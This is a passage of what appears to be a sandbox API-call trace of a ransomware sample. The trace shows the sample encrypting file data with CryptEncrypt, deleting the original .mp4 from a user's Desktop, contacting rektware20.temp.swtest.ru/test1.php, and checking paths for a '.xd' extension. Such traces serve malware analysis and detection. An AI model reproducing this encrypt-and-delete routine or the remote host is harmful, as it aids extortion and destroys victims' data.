hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.552] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.552] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.552] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.552] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.553] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.554] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.554] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x100c9, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x100d0) returned 1 [0075.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.554] CharLowerBuffW (in: lpsz="byte[65745]", cchLength=0xb | out: lpsz="byte[65745]") returned 0xb [0075.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.575] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621af8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.577] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.577] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1810da8*, pdwDataLen=0x130e618*=0x100c9, dwBufLen=0x100d0 | out: pbData=0x1810da8*, pdwDataLen=0x130e618*=0x100d0) returned 1 [0075.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.579] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.579] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.579] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.579] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.582] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.582] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.585] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.586] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.586] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.595] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x100d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x100d0, lpOverlapped=0x0) returned 1 [0075.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.597] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.597] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.597] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621030, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.597] CryptDestroyKey (hKey=0x164c9f0) returned 1 [0075.598] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.598] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.598] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.598] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.598] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.598] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.599] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.599] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.599] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.599] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.600] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.600] CryptReleaseContext (hProv=0x1631dd0, dwFlags=0x0) returned 1 [0075.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.600] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.600] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.600] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.600] CloseHandle (hObject=0x3d0) returned 1 [0075.603] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.603] CloseHandle (hObject=0x3d8) returned 1 [0075.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.625] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", lpFilePart=0x0) returned 0x30 [0075.626] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i4epivxt8mfsz5.mp4")) returned 0x20 [0075.627] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0075.627] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i4epivxt8mfsz5.mp4")) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.681] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0075.682] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.682] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.682] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.682] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0075.682] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0075.682] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.682] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.683] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.683] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.683] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.683] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0075.683] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.683] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.683] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.684] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.684] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.684] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.685] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.685] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.685] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.685] CloseHandle (hObject=0x0) returned 0 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) 